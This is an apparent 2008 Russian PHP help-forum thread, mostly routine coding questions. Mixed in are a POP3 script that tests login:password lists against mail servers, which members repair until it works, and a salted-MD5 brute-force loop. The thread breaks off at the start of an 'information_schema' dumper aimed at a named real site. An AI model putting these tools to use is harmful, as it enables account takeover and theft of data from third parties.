Второй-же скрипт (script2.php) получив определённый POST запрос, шлёт ответный POST запрос на конкретный адрес таким образом: http://supersite.ru/script1.php?secretline=SECRET
И уже после этого первый скрипт script1.php выводит на экран то, что ему передал второй скрипт.
Честно говоря я сомневаюсь, что это вообще реализуемо, если это реализовать действительно никак невозможно просто напишите об этом, ну а если возможно реализовать то просьба написать php код.
Да, тока плиз не спрашивайте "а зачем, а для чего" и т.д... Меня интересует именно эта система, и никакая другая.
Nightmarе, собственно сложности нету и такое реализуемо :)
<?php
$host = 'lol.com';
$port = 80;
$post = 'secretline=SECRET'; //POST данные
$http =
"POST http://".$host."/index.php HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"User-Agent: Isya\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n". //to form
"Content-Length: ".strlen($post)."\r\n\r\n".$post."\r\n";
$sock = fsockopen($host, $port, $errno, $errstr, 10);
if ($sock)
{
fwrite($sock, $http);
$content = '';
while (!feof($sock))
{
if (!$content .= fread($sock, 128))
{
$content = "";
}
}
fclose($sock);
}
echo $content; //Выводим что нам дал script2.php
?>
Nightmarе
18.06.2008, 03:15
Млин не то... он выдаёт заголовок...
Я имел ввиду сделать привязку, то есть ссылаемся:
http://supersite.ru/script1.php он шлёт POST запрос второму скрипту, а второй скрипт в ответ шлёт первому скрипту секретный текст, и первый скрипт выводит на экран секретный текст полученный от скрипта 2.
На втором сайте найти тэги где включен секретный текст..
Например:
<div id="text">supertext</div>
И в скрипте в конце добавь:
preg_match('#<div id="text">(.*?)</div>#', $content, $tex);
$text = $tex[1];
echo $text;
Nightmarе
18.06.2008, 03:32
Млин... я совсем запутался...
Если не затруднит, напиши плииз оба php скрипта уже рабочие...
На втором сайте найти тэги где включен секретный текст..
Например:
<div id="text">supertext</div>
В этом случае если ко второму скрипту просто сослатсья, то секретный текст будет в открытом виде ;)
Подскажите, как сделать "Выход" корректно? При входе регестрируется сессия:
session_register("valid_user");
Нужно сделать выход ссылкой, чтобы после ее нажатия сессия убивалась. Спасибо!
http://www.php.net/manual/en/function.session-unregister.php
if($_GET['mode']=='logout'){
session_unegister("valid_user");
} else {}
http://aaa.xxx/y.php?mode=logout
или session_destroy();
Такой вопросик, написал скрипт для статы сайта, всю инфу по посещениям он записывает в info.php, решил немножко подправить info.php добавить кнопочку очистить, но столкнулся с проблемой... Стата создает таблицы в info.php, вот и решил через регулярку очищать все таблицы вида, но че то не получается или регулярка неправильная или может кто нибудь другой метод предложит.
?php
require_once('login.php');
if(!is_logined(MODE)) {
exit();
}
echo '<form method="post">';
echo '<input type="submit" name="sub" value=" Clean " />';
echo '<form>';
if(isset($_POST['sub']))
{
$list=file_get_contents("info.php");
$fin=str_replace('#<table><tr><td>(\S+)</td><td>(\S+)</td><td>(\S+)</td><td>(\S+)</td></tr></table>#','',$list);
$file_fin=fopen("info.php","w+");
fwrite($file_fin,$fin);
fclose($file_fin);
}
?>
<html>
<style>
body
{
background:#FFFFFF;
font-family:tahoma, verdana, arial;
font-size:14px;
}
table
{
border-collapse: collapse;
}
td
{
border:1px solid #FFFFFF;
width:250px;
text-align:center;
}
</style>
<table bgcolor="#40a0c0" ><tr><td><b style="color: White"><center>Script</center></b></td><td><b style="color: White"><center>Date</center></b></td><td><b style="color: White"><center>Refferal</center></b></td><td><b style="color: White"><center>IP</center></b></td></tr></table>
</html>
<table><tr><td>index.php</td><td>15.06.2008 00:58</td><td>http://www.nsma.ru</td><td>217.74.245.231</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 01:01</td><td>none</td><td>217.74.245.231</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 01:06</td><td>none</td><td>217.74.245.231</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 01:07</td><td>none</td><td>213.180.206.41</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 01:11</td><td>none</td><td>217.74.245.231</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 01:11</td><td>none</td><td>194.67.1.13</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 01:17</td><td>none</td><td>194.67.1.13</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 01:25</td><td>none</td><td>217.74.245.231</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 02:01</td><td>http://www.sm.aport.ru</td><td>194.67.20.227</td></tr></table>
<table><tr><td>index.php</td><td>15.06.2008 02:35</td><td>none</td><td>65.55.208.12</td></tr></table>
Если это выход, то лучше убивать все сессии функцией session_destroy()
?mode=logout
Если это выход, то лучше убивать все сессии функцией session_destroy()
Ок, так и сделаю, а вообще, передовать переменные имя=значение черех URL это нормальная практика?
Ок, так и сделаю, а вообще, передовать переменные имя=значение черех URL это нормальная практика?
П почему бы и нет :)?
Меньше видишь спишь спокойно??
Все равно заголовок можно подменить.
Zircool
Замени str_replace на ereg_replace, или на preg_match
Насколько я помню str_replace, не работает(не поддерживает) с регуляркой
ChaaK, а вот например, если я таким образом передаю скрипту, скажем убить строчку в базе ?id=4&mode=del и пользователь нажмет обновить, то как сделать, чтобы действие не повторилось?
Buffalon
18.06.2008, 15:28
ChaaK, а вот например, если я таким образом передаю скрипту, скажем убить строчку в базе ?id=4&mode=del и пользователь нажмет обновить, то как сделать, чтобы действие не повторилось?
HEADER('LOCATION:$_SERVER[SCRPT_NAME]');
ChaaK, а вот например, если я таким образом передаю скрипту, скажем убить строчку в базе ?id=4&mode=del и пользователь нажмет обновить, то как сделать, чтобы действие не повторилось?
Можно ничечо не делать, а можно и Обьекьт(новость, статья) с данным id не найдена
И вообще после удпления можно(нужно) делать редирект, и пользователь уже никак не обновит страницу, а если вручную наберет то
Обьекьт(новость, статья) с данным id не найдена
login999
18.06.2008, 22:06
Добрые люди, помогите, нашел сие чудо, а оно не работает (( :
<?php
error_reporting(E_ALL);
set_time_limit(0);
$fr=fopen("lst.txt","r");
$fw=fopen("result.txt","w");
$cfg=file("servers.txt");
$i=0;
foreach($cfg as $lst)
{
$lst=strtolower($lst);
$cfg[$i]=explode(':',$lst);
$i++;
}
while (!feof ($fr))
{
$buffer = fgets($fr,255);
$buffer = strtolower($buffer);
$lp=explode(':',$buffer,2);
$log=explode('@',$lp[0],2);
$i=0;
foreach($cfg as $lst)
{
if (trim($log[1])== trim($lst[2])) and (isset($lp[1])))
{
$serv=$lst[0];
$prt=$lst[1];
$i=1;
break;
}
}
if ($i==1)
{
$ock=fsockopen($serv,$prt);
$html=fgets($ock);
$usr="user ".$log[0]."\n";
fputs($ock,$usr);
$html=fgets($ock);
$pwr="pass ".$lp[1]."\n";
fputs($ock,$pwr);
$html=fgets($ock);
if (preg_match("/OK/",$html))
{
fputs($fw,$buffer);
fclose($ock);
}
else
{
fclose($ock);
}
}
}
echo "OK!";
fclose($fr);
fclose($fw);
?>
Что в нем не так?? пишет о ошибке на 27 строчке ((
Замени на:
if (trim($log[1])==trim($lst[2]) && (isset($lp[1])))
login999
19.06.2008, 00:12
Спс, работает!!!! Уже проверяет мыла )))
уважаемые знатоки,с вами играет новичок svesve
внимание вопрос )))
как получить исходник страницы к которой обращаюсь?
юзать curl? или http_get ?
svesve
file_get_contents($filename);
В качестве $filename может выступать его урл.
уважаемые знатоки,с вами играет новичок svesve
внимание вопрос )))
как получить исходник страницы к которой обращаюсь?
юзать curl? или http_get ?
Все зависит от настройки твоего сервера и целей, которые ты преследуешь. курл посерьезней будет.
Или ручная генерация заголовков с ручной работой с сокетами.
оО )
как выдрать я понял
$content=file_get_contents("http://www.siteru/script.php");
print $content;
if(preg_match("/^(100px;\">)?([^<]+)/i",$content,$res)) {
print "$res[2]";
Но чтоб зайти http://www.site.ru/script.php надо сначала авторизироваться на login.php
,тобишь надо будет отправить ПОСТ на логин?
Buffalon
19.06.2008, 15:05
Вот тибе пример от Isis
<?php
$host = 'lol.com';
$port = 80;
$post = 'secretline=SECRET'; //POST данные
$http =
"POST http://".$host."/index.php HTTP/1.1\r\n".
"Host: ".$host."\r\n".
"User-Agent: Isya\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n". //to form
"Content-Length: ".strlen($post)."\r\n\r\n".$post."\r\n";
$sock = fsockopen($host, $port, $errno, $errstr, 10);
if ($sock)
{
fwrite($sock, $http);
$content = '';
while (!feof($sock))
{
if (!$content .= fread($sock, 128))
{
$content = "";
}
}
fclose($sock);
}
echo $content; //Выводим что нам дал script2.php
?>
не хочет таким макаром (
посмотри простым анализатором трафика, что у тебя браузер отсылает при логине на сервер. Дальше копипаст в скрипт и все должно быть ок.
astrologer
19.06.2008, 18:29
"POST /index.php HTTP/1.1\r\n".
"Host: ".$host."\r\n". ?
На100ящий
19.06.2008, 23:51
плз хэлп!!!
НУжно массивом заполнить список с возможными значениями нное количество, создать две кнопки сабмит, одна-вывод (заполнение списка), вторая-для вывода на экран выделенных значений. При выводе не должен исчезать список...как это сделать. Нажимаю на кнопку с заполнением, создаётся список, при нажатиии на вторую список исчезает и не выводит выбраные значяения со списка!???
люди как лучше писать скрипт...
<?php
код с переменными
?>
<html>
сама страница и вызов с верхнего кода переменных допустим <title><?$name?></title>
</html>
или все через echo делать?
Люди хочу переделать скрипт vizard-06 - парсер проксей с nntime.com (с обходом защиты на js которую ввели там :) ) но что то выдает ошибку. Хочу сделать чтобы он собирал со всех страничек сайта, а не только с главной:
<?php
$site="http://www.nntime.com/index.php?start=";
$count=1176;
for ($i = 1; $i < $count; $i+=25) {
$site_pars=$site.$i;
echo $site_pars.':<br />';
$prox_link=file_get_contents($site_pars);
$peremen_port='';
$prox_res='';
$prox_link=str_replace("\r\n",'',$prox_link);
$prox_link=str_replace("\n",'',$prox_link);
preg_match("/javascript\"\>(.*?)\<\/script\>/i",$prox_link,$peremeni);
$k_ports=preg_match_all("/document\.write\(\"\:\"(.*?)\)\<\/script\>/i",$prox_link,$port);
preg_match_all("/(\d+\.\d+\.\d+\.\d+)\</i",$prox_link,$iiip);
$p_port=explode(';',$peremeni[1]);
for($iii=0;$iii<count($p_port)-1;$iii++) {
$peremen_port.='$'.$p_port[$iii].'; ';
}
eval($peremen_port);
for($iii=0;$iii<$k_ports;$iii++) {
$port_ed=str_replace("+",'.$',$port[1][$iii]);
eval('$port_res=\':\''.$port_ed.';');
$prox_res.=$iiip[1][$iii].$port_res.'<br>';
}
echo $prox_res;
}
?>
Buffalon
20.06.2008, 11:25
Как подключиться к почте через POP3(допустим к mail.ru) вроде правильно написал))... .ТЫк кто понял плиз напишите на ПХП ил хотя бы статейку ...
0verbreaK
20.06.2008, 11:45
Возможно ли использование спуфинг IP адресов на php, есть ли библы какие?
по моему на perl это возможно в линуксе, есть библа
GreenBear
20.06.2008, 12:20
Как подключиться к почте через POP3(допустим к mail.ru) вроде правильно написал))... .ТЫк кто понял плиз напишите на ПХП ил хотя бы статейку ...
php.net/fsockopen && http://www.opennet.ru/base/net/pop3_protocol.txt.html
GreenBear
20.06.2008, 12:21
люди как лучше писать скрипт...
<?php
код с переменными
?>
<html>
сама страница и вызов с верхнего кода переменных допустим <title><?$name?></title>
</html>
или все через echo делать?
думаю если сайт, то через шаблонизатор.
.::BARS::.
20.06.2008, 12:48
люди как лучше писать скрипт...
<?php
код с переменными
?>
<html>
сама страница и вызов с верхнего кода переменных допустим <title><?$name?></title>
</html>
или все через echo делать?
Первый вариант лучше будет... И каши меньше... Вставлять пхп в хтмл как то не практично на мой взгляд... либо пхп либо хтмл... =)
Первый вариант лучше будет... И каши меньше... Вставлять пхп в хтмл как то не практично на мой взгляд... либо пхп либо хтмл... =)
ты понял что сказал :)??
По мне шаблоны!
.::BARS::.
20.06.2008, 12:53
ты понял что сказал :)??
По мне шаблоны!
понял... по мне лучше:
<?
$name='титла';
echo "<title>$name</title>";
?>
А каком именно шаблоне говоришь ты? Я этого не понял..
.::BARS::., он говорит не о шаблоне, а о шаблонизаторе.
В этой теме _http://forum.antichat.ru/showthread.php?p=727671#post727671 подобное обсуждалось. Я там выкладывал очень простой шаблонизатор. Надеюсь, ты поймёшь как пользоватся.
ты понял что сказал :)??
Всё он нормально сказал, только у меня мнение другое. Grema, если можешь обойтись без шаблонизаторов, то лучше их не юзать, т.к. полно возни с файлами. Если на сайте не так уж много хтмла, то вполне можно через эхо, но кстате с эхо есть ещё простой вариант:
<html>
<head>
<link rel="stylesheet" type="text/css" href="style.css">
<title><?php echo $title; ?></title>
</head>
<body>
...
</body>
</html>
По мне шаблоны!
Если юзать обычные шаблоны, то зачем тогда вообще сайт нужен, если где-то будет копия твоего сайта с другим контентом?
<title><?php echo $title; ?></title>
Тогда уже
<title><?=$title?></title>
Я слышал правда, что в php6 вроде это запретят, хз
---------------
"<?=" это идет как шорт тег, и иногда он отключен на сервере
шорт теги использовать не рекомендуеться(конфликт с xml), возможно в php 6 И не будет
На100ящий
20.06.2008, 15:40
плз хэлп!!!
НУжно массивом заполнить список с возможными значениями нное количество, создать две кнопки сабмит, одна-вывод (заполнение списка), вторая-для вывода на экран выделенных значений. При выводе не должен исчезать список...как это сделать. Нажимаю на кнопку с заполнением, создаётся список, при нажатиии на вторую список исчезает и не выводит выбраные значяения со списка!???
На100ящий
Выложи, что там у тебя есть, а то с нуля влом писать
вторая-для вывода на экран выделенных значений
Как они должны выделяться? чекбоксом?
объясни подробней что-ли...
Добрый день. Подскажите пожалуйста как можно по проще заменить при выводе числа на экран точку на запятую?
было число 5.05, а нужно вывести на экран 5,05
?
$str = str_replace(".", ",", "5.05");
.::BARS::.
21.06.2008, 02:37
$str = str_replace(".", ",", "5.05"); Это ты как так?
$str = str_replace(".", ",", $str);
заменит все . на ,
Это ты как так?
$str = str_replace(".", ",", $str);
заменит все . на ,
ну тык если строка изначально равна "5.05" разницы вообще нету.
пс да уж надо точнее формулировать
На100ящий
21.06.2008, 19:24
вообщем вот код, нажимая кнопку заполнить значания заполняются от одного до ста, в списке выбираем пару или одно значение, нажимаем на вторую кнопку "Печать"чтобы вывести на экран выбраные в списке значения, и чтобы список остался. и вот тут вот не выходит что то!!!!!(((
<?
global $mass;
echo '<form method="POST" name="1">';
echo '<input type="submit" name="zap" value="ЗАПОЛНИТЬ">';
echo '</form>';
if(isset($zap)){
for ($i=0; $i<101; $i++){
$mass[0]="";
array_push($mass,$i);
}
echo '<select name="vubor[]" MULTIPLE>';
for ($m=1; $m<count($mass); $m++ ){
echo '<option>'.$mass[$m];
}
echo '</select><br>';
}
echo '<form method="POST" name="2">';
echo '<input type="submit" name="print" value="ПЕЧАТЬ">';
echo '</form>';
if (isset($print)){
for ($l=1; $l<count($mass); $l++)
echo $mass[$l].'<br>';
}
?>
Dr.Frank
21.06.2008, 20:18
2На100ящий
мб так, не уверен, что тебе именно ТАКОЕ нужно, тем более средствами php
<?
for ($i=0; $i<101; $i++){
$mass[0]="";
array_push($mass,$i);
}
echo '<form method="POST" name="1">';
echo '<input type="submit" name="zap" value="ЗАПОЛНИТЬ">';
echo '</form>';
echo '<form method="POST" name="2">';
if(isset($zap) || isset($print)){
echo '<select name="vubor[]" MULTIPLE>';
for ($m=1; $m<count($mass); $m++ ){
if(isset($vubor)){
if(in_array($mass[$m],$vubor))
echo '<option SELECTED>'.$mass[$m].'</option>';
else
echo '<option>'.$mass[$m].'</option>';
}else{
echo '<option>'.$mass[$m].'</option>';
}
}
echo '</select><br>';
}
echo '<input type="submit" name="print" value="ПЕЧАТЬ">';
echo '</form>';
if (isset($print)){
for ($l=0; $l<count($vubor); $l++)
echo $vubor[$l].'<br>';
}
?>
p.s. почти весь скрипт переделал
=TenJou=
21.06.2008, 22:24
здраствуйте.....решил изучать PHP и прошу помочь советом или сылкой на хороший учебник.....я знаю что многие сразу отправят меня на www.google.com , но учебников много....и все они разные.
Надеюсь на вашу помощь, зарание спасибо
=TenJou=
http://aeweb.ru/books/php_book/
=TenJou=
21.06.2008, 23:55
спасиб
пишу грабилку музики вконакте возникла проблема
скрипт зависаеи при чтении ответа с контакта
пишу в сокет
$dates="GET http://vkontakte.ru/audio.php?act=search&q=Запрос&add=1&st=0 HTTP/1.1\r\n";
$dates.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$dates.="Referer: http://vkontakte.ru/audio.php?act=search&q=Avril&add=1&st=0\r\n";
$dates.="Accept-Language: ru\r\n";
$dates.="Proxy-Connection: Keep-Alive\r\n";
$dates.="User-Agent: блаблабла\r\n";
$dates.="Host: vkontakte.ru\r\n";
$dates.="Cookie: remixchk=бла; remixmid=блаблабла; remixemail=мыло; remixpass=мд5(пасс)\r\n";
$dates.="\r\n";
при ответе он виснет или продолжает дальше считывать с сокеты как с этим бороться
c чем это может быть связано знаю что кол-во страниц при выдаче контакта неограничено может из за этого?тогда как с этим бороться?
.::BARS::.
22.06.2008, 04:04
вообщем вот код, нажимая кнопку заполнить значания заполняются от одного до ста, в списке выбираем пару или одно значение, нажимаем на вторую кнопку "Печать"чтобы вывести на экран выбраные в списке значения, и чтобы список остался. и вот тут вот не выходит что то!!!!!(((
<?
global $mass;
echo '<form method="POST" name="1">';
echo '<input type="submit" name="zap" value="ЗАПОЛНИТЬ">';
echo '</form>';
if(isset($zap)){
for ($i=0; $i<101; $i++){
$mass[0]="";
array_push($mass,$i);
}
echo '<select name="vubor[]" MULTIPLE>';
for ($m=1; $m<count($mass); $m++ ){
echo '<option>'.$mass[$m];
}
echo '</select><br>';
}
echo '<form method="POST" name="2">';
echo '<input type="submit" name="print" value="ПЕЧАТЬ">';
echo '</form>';
if (isset($print)){
for ($l=1; $l<count($mass); $l++)
echo $mass[$l].'<br>';
}
?>
Запиши лучше в файл, а снего уже на вывод...
появился вопрос... собственно:
например у меня есть скрипт и я его запускаю не на веб сервере, а на локалхосте при чем через консоль следующим образом
php script.php 123
как прописать в скрипте чтобы например переменной $a присваивалось значение 123?
Dr.Frank
22.06.2008, 07:41
2gisTy
если сконвертировать в .exe, то так:
<?php
$t= $HTTP_SERVER_VARS['argv'];
$a=$t[1];
echo $a;
?>
запуск: script.exe -- 123
если без конвертации, то:
<?php
$t= $_SERVER['argv'];
$a=$t[1];
echo $a;
?>
запуск: php script.php 123
а не конвртируя? я просто под никсами сижу..просто нашел скрипт брутовский... думаю его дописывать и т.д. и т.п.
<?
//$salt = " ";
$hesh = " ";
$string = "abcdef123";
for($i1 = 0; $i1 < strlen($string); $i1++)
{
for($i2 = 0; $i2 < strlen($string); $i2++)
{
for($i3 = 0; $i3 < strlen($string); $i3++)
{
$password = substr($string,$i1,1).substr($string,$i2,1).substr ($string,$i3,1);
if($hesh == md5(md5($salt).md5($password)))
{
echo("Password: ".$password);
break;
}
}
if($hesh == md5($password)))
{
break;
}
}
if($hesh == md5($password)))
{
break;
}
}
?>
Dr.Frank
22.06.2008, 07:54
2gisTy
дописал
spamoney
22.06.2008, 15:01
Всем привет! Помогите решить следующую проблему:
есть строка:
Текст__Текст_текст2текст3_те кст4____текст
как сделать так, что бы если идут сразу два или более нижних подчерка (_), то они заменялись на один, т.е строку которая приведена выше надо изменить так:
Текст_Текст_текст2текст3_те ст4_текст
p.s
Текст естественно всегда разный и местоположение и кол-во _ тоже
$str = preg_replace('/[_]+/','_',$str);
Всем привет! Помогите решить следующую проблему:
есть строка:
Текст__Текст_текст2текст3_те кст4____текст
как сделать так, что бы если идут сразу два или более нижних подчерка (_), то они заменялись на один, т.е строку которая приведена выше надо изменить так:
Текст_Текст_текст2текст3_те ст4_текст
p.s
Текст естественно всегда разный и местоположение и кол-во _ тоже
<?php
$str='Текст__Текст_текст2текст 3_текст4____текст';
$str= preg_replace("/_+/","_",$str);
echo $str;
?>
spamoney
22.06.2008, 15:16
ChaaK, Piflit большое спасибо, работает!
появилась еще такой вопрос... собственно сабж..
пользователь задает кол-во символов. надо составить лист слудующего вида
aaaaaa
aaaaab
aaaaac
aaaaad
......
zzzzzw
zzzzzx
zzzzzy
zzzzzz
где каждая последовательность символов длинной, которую задал пользователь...
много думал над реализацией... ничего не получается... если только под каждое количество символов писать скрипт, но это не дело...
<?php
$mas=array('aaaaaab','aaaaa','aaaac','zzzzzz','zzz zzzzzzzzw','zzzzzw','zzzzza');
sort($mas);
for($i=0; $i<count($mas);$i++)
{ echo('<br>'.$mas[$i]); }
?>
? Или я не правильно понял...
Dr.Frank
22.06.2008, 16:04
скорее так:
<?php
$e=array('a','b','c','d','e','f','g','h','i','j',' k','l','m','n','o','p','q','r','s','t','u','v','w' ,'x','y','z');
$kol=2;
function chis($eee="",$glub=0){
global $e,$kol;
for($q=0;$q<count($e);$q++){
if($glub!=$kol){
chis($eee.$e[$q],$glub+1);
}else{
echo $eee.$e[$q]."<br/>\r\n";
}
}
}
chis();
?>
Код Др. Франка доделал:
<?php
if ($_REQUEST["strl"]) {
$e = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');
$kol = $_REQUEST["strl"];
function chis($eee = "", $glub = 0) {
global $e, $kol;
for($q = 0; $q < count($e); $q++) {
if($glub != $kol) {
chis($eee.$e[$q], $glub + 1);
}
else {echo $eee . $e[$q] . "<br/>\r\n";}
}
}
chis();
}
else {
echo '
<form method="post">
<p><input type="text" name="strl" size="5" /> <input type="submit" value="Вывести" /></p>
</form>';
}
?>
Вроде правильно))
astrologer
22.06.2008, 16:10
<pre>
<?php
$s = 'aaa';
do { echo $s, "\n"; } while($s++ !== 'zzz')
?>
</pre>Только вот для шести символов список будет весить мегабайт 500
эм... черт.. забыл про $s++ спс всем=)
еще вопрос.. а можно как нибудь добавить поддержку цифр? чтобы в генерации учавствовали не только буквы, но и цыфры
эм... черт.. забыл про $s++ спс всем=)
еще вопрос.. а можно как нибудь добавить поддержку цифр? чтобы в генерации учавствовали не только буквы, но и цыфры
<?php
ob_implicit_flush();
set_time_limit(0);
$str = "0";
$i = 0;
$need = false;
while($s != "zzz")
{
while(1)
{
$ch = ord( $str[$i] ) + 1;
if($ch < 33)
$ch = 33;
if ($ch > 126)
{
$ch = 33;
$str[$i] = chr($ch);
$i++;
continue;
}
$str[$i] = chr($ch);
break;
}
echo $str."\n";
$i = 0;
}
?>
Здесь помимо букв и цифр будут генерироваться остальные печатные символы: !@#$%^&*().,:;' "
Вообщем нужен скрипт для подсчета/сохранения статистики. Желательно на файлах.
Кто сможет написать, тому +. Мне лень :-[
О какой статистике идет речь?
О какой статистике идет речь?
О састистике СМС биллинга. Т.е нужно принять скрипту номер телефона, префикс, id сообщени(пощитать), и сколько я получил. Все просто.
Buffalon
22.06.2008, 22:15
ЗДрасте у миня такоей вопрос... .
Я связываюсь с ХОСТОМ, даю Ему команду она выпоняется ... .
Можно ли как то дать команду сразу нескольким хостам.. ..
Или как добиться того что я даю команду одному (он начал выполняться ) другому (второй тоже начал работу) и всё это одонвременно ... .
ПРосто я думаю так что если дать команду одному то мы будем жд@ть пока она не прикратиться, и пока мы неполучим результат(
2Buffalon
Мне кажется это многопоточность...
Buffalon
22.06.2008, 23:40
2Buffalon
Мне кажется это многопоточность...
БЛин... .всю мою темку одним словом охарактерезовал.. ..Тык как её реализовать>>>
Алгоритм
Эм... на php никак.
Конечно, не выход, но...
http://www.seoblog.com.ua/2007/03/20/multiplexing-in-php/
В Php нету многопоточности.
Как ты говориш ты посылаеш запрос серверу, и он уже ее выполняет.
Зачем ждать пока он ее выполнит?
Посылаем запрос и обрываем соеденение, пускай сервер дальше делает свои дела.
А мы следовательно посылаем команду следующему и т.д.
как при отправки формы, а именно поля <textarea> мне в php получить массив в котором каждый элемент равен соответствующей строке в поле.
пример я отправляю форму где в textarea 4 строки 1111111
2222222222
333333333
44444444
как мне в php принять их и работать как с массивом
TEXT[1]=1111111
TEXT[2]=2222222222
TEXT[3]=333333333
TEXT[4]=44444444
зарание благодарю ;)
___________________________________
http://www.hash.ixces.ru/img.gif
http://hash.ixces.ru/
$TEXT = preg_split('~\n~', $_POST['text']);
Зачем preg_split() ? обычный explode() также сработает
$TEXT = explode("\n", $_POST['text']);
Люди какие есть проги для групповой разработки в пхп?
то есть чтобы я с другом писали кое-что и видели кто что добавил или изменил.
inlanger
24.06.2008, 15:48
$TEXT = explode("\n", $_POST['text']);
В Unix- системах для отделения одной строки от другой используется \n , a в Windows \r\n.
Так что надо смотреть ещё, что за сервак.
Люди какие есть проги для групповой разработки в пхп?
то есть чтобы я с другом писали кое-что и видели кто что добавил или изменил.
Почитай о контролле версий (например SVN (более новая система), CVS(болея старая система))
А оболочка, ну я использую pdt eclipse + SVN, советую, там и другого чень много полезного
Там все детально описано
pdt eclipse + SVN
Командная разработка на GWT в Eclipse
http://gwt.org.ua/ru/blog/2007/10/20/eclipse-team/
для начала глянь еще
SVN:
http://www.inode.ru/articles/programming/2007-02-20/383
http://lib.custis.ru/index.php/CVS
http://habrahabr.ru/blog/php/25361.html - +как работать
http://habrahabr.ru/tag/SVN/
http://ccc.ru/magazine/depot/03_05/read.html?0202.htm
http://subversion.org.ru/ - вроде как сейчас не пашет
пс
тьху блин, аватара :), я себя был не признал :)
Так что надо смотреть ещё, что за сервак.
вот так без разницы:
$TEXT = array_map('trim',explode("\n",$_POST['text']));
Пиветствую
Вопрос касается даже больше архивирования чем РНР но все же
как сделать РНР скрипт который бы при запуске бекапил в backup.tar.gz папку /home/mong/public_html/forum/ ?
естественно с сохранением структуры каталогов и не удаляя файлы.
ОСя FreeBSD c gzip
Вопрос касается даже больше архивирования чем РНР но все же
http://www.php.net/manual/ru/ref.zip.php
Вот готовый класс
http://www.phpclasses.org/browse/package/945.html
Там с описанием
Это если на PHP нужно...
А так можно кроном(?) unix команды архивирования использовать
пишу тестилку проксиков на пхп
засекаю время перед чтением с сокета через micotime()
после завершения чтения засекаю второе время
потом величину буфера делю на разницу времен и получаю вот эту шнягу
Начальное время: 1214312272.3718
Конечное время: 1214312275.5016
Разница: 3.129772901535
Скорость равна:6011.9377961166
<?
$wr_pic="http://www.2ip.ru";
$proxy = "82.94.187.199";
$port = 1080;
$buffer="";
$fp = fsockopen($proxy, $port);
fputs($fp, "GET $wr_pic HTTP/1.0\r\nHost: $proxy\r\n\r\n");
$time=0;
$time2=0;
$time=microtime(true);
while(!feof($fp)){
$buffer .= fread($fp,2500);
}
fclose($fp);
$time2=microtime(true);
$time3=0;
$time3=$time2-$time;
print "Начальное время: ".$time."<br>";
print "Конечное время: ".$time2."<br>";
print "Разница: ".$time3."<br>";
print "Скорость равна:".strlen($buffer)/$time3;
?>
поидеи должен был получить кол-во байтов в секунду но чот выдача меня не очень радует))
пишу тестилку проксиков на пхп
засекаю время перед чтением с сокета через micotime()
после завершения чтения засекаю второе время
потом величину буфера делю на разницу времен и получаю вот эту шнягу
Начальное время: 1214312272.3718
Конечное время: 1214312275.5016
Разница: 3.129772901535
Скорость равна:6011.9377961166
<?
$wr_pic="http://www.2ip.ru";
$proxy = "82.94.187.199";
$port = 1080;
$buffer="";
$fp = fsockopen($proxy, $port);
fputs($fp, "GET $wr_pic HTTP/1.0\r\nHost: $proxy\r\n\r\n");
$time=0;
$time2=0;
$time=microtime(true);
while(!feof($fp)){
$buffer .= fread($fp,2500);
}
fclose($fp);
$time2=microtime(true);
$time3=0;
$time3=$time2-$time;
print "Начальное время: ".$time."<br>";
print "Конечное время: ".$time2."<br>";
print "Разница: ".$time3."<br>";
print "Скорость равна:".strlen($buffer)/$time3;
?>
поидеи должен был получить кол-во байтов в секунду но чот выдача меня не очень радует))
тк правильное использование microtime:
list($usec, $sec) = explode(" ", microtime());
При вызове без необязательного параметра, возвращается строка в формате "msec sec", где sec - это количество секунд, прошедших с начала Эпохи Unix (The Unix Epoch, 1 января 1970, 00:00:00 GMT), а msec - это дробная часть.
Где можно скачать норм учебник по пхп???
(я 0 в пхп)
MaTpOc
Отбирал самые интересные)
http://aeweb.ru/books/php_book/
Где можно скачать норм учебник по пхп???
(я 0 в пхп)
Мда, как задолбали такие посты. Ну подними глаза. Тут же соседний топик!!! Даже называется: Books PHP
http://forum.antichat.ru/threadnav8721-1-10.html
MaTpOc
Отбирал самые интересные)
http://aeweb.ru/books/php_book/
Дабавь еще туда "PHP это просто - прграмируем для Web сайта". Очень познавательная книга для новичка(я по ней когда-то учился). Охватывает вопросы работы с файлами, базой данных. Так же рассматриваются CMS. Очень полезная книга - советую! :cool:
Извините за ламерский вопрос:
У меня есть руглярка:
preg_match('/<a>(.*?)<\/a>/',$d,$d);
Какой оператор мне применить, что бы выхватило только (.*?), без тегов <a></a>?
Red_Red1
25.06.2008, 11:13
Так оно и будет выхватывать то что в скобках отдельно. Просто обратись к нужно му элементу массива где будет лежать этот карман.
сделай вывод результатов вот так print_r ($d) и увидешь какой тебе нужен элемент.
inlanger
25.06.2008, 11:56
preg_match_all('#/<a>(.*?)<\/a>/#is',$d,$d,PREG_SET_ORDER);
echo $d[0];
m0nsieur
25.06.2008, 18:52
Что-то немного подвис на мысли как сохранить массив $result при рекурсивном вызове функции getcurpos, чтобы все значения хранились в нем, а не только последняя выборка.
Ситуация следующая:
class Curpos_m extends Model {
....
function getcurpos($id) {
$this->db->select('id, pid, title');
$this->db->where('id', $id);
$this->db->limit(1);
$query = $this->db->get('ai_menu_'.$this->table);
$data = $query->result_array();
global $pid;
foreach ($data as $key) {
$pid = $key['pid'];
}
$result[$pid] = $data;
if($pid != -1) {
$this->getcurpos($pid);
} else {
return $result;
}
}
}
Или пересмотри саму функцию, например делай дополнение в массив, после рекурсивного вызова в этой же функции,
Или делай массив $result - СТАТИЧЕСКИМ
вопрос появился.. пишу дампер таблички information_schema.tables...
<?php
$host = 'www.llewellyn.com';
$fp = fsockopen($host, 80, $errno, $errstr, 30);
$pos = 0;
$pos1 = 0;
$i1 = 131;
